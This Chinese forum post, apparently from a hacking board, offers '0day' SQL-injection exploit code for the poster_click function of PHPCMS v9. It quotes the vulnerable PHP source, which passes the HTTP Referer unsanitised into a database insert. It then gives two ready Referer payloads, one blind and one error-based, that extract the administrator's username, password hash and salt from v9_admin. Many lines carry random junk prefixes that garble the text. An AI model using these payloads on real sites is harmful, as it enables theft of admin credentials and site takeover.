phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

4 |% M0 C7 f4 f4 O$ Xpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
0 I" e8 @7 w. f3 J6 B; I$r = $this->db->get_one(array('id'=>$id));
/ e$ W) q  x- |5 K% r" @( q( _9 u+ bif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
- B5 `& w. u! Q4 u7 G- W$ u0 k* s$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# o& b" `9 y/ h$ L5 G, dif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
& h( E) L4 e8 o, ]. R% Wif (count($setting)==1) {
9 X& B) v* d4 `1 K9 x$url = $setting['1']['linkurl'];
} else {
& X9 T7 V7 c: @; A; R5 N$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
. _" ]9 `8 z7 x}
  V$ ^2 z1 Q0 [; _, c2 Z! ^header('Location: '.$url);
) K9 w6 [: G# G7 F) r1 n* c}
1 {4 ^% y6 u- G9 e( V) @
$ j* y2 j. p, _( m+ x  y0 H' {

: J# l3 e9 l  ]  ^; R% S! O3 M7 V利用方式：
- G5 N- U0 `  {6 p* U
1、可以采用盲注入的手法：
* I* A( l0 U9 t  i7 a
: `& H9 \, m& R! `; c/ V0 qreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
( |: z/ s8 y: H. a8 n: H! e
& V( w- c* M' r% c1 }) I通过返回页面，正常与否一个个猜解密码字段。
9 p. I' I; K  t
2、代码是花开写的，随手附上了：

$ Y' ~7 g8 ?* [( r7 Y: Z1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
" o  [4 v5 P" m
此方法是爆错注入手法，原理自查。
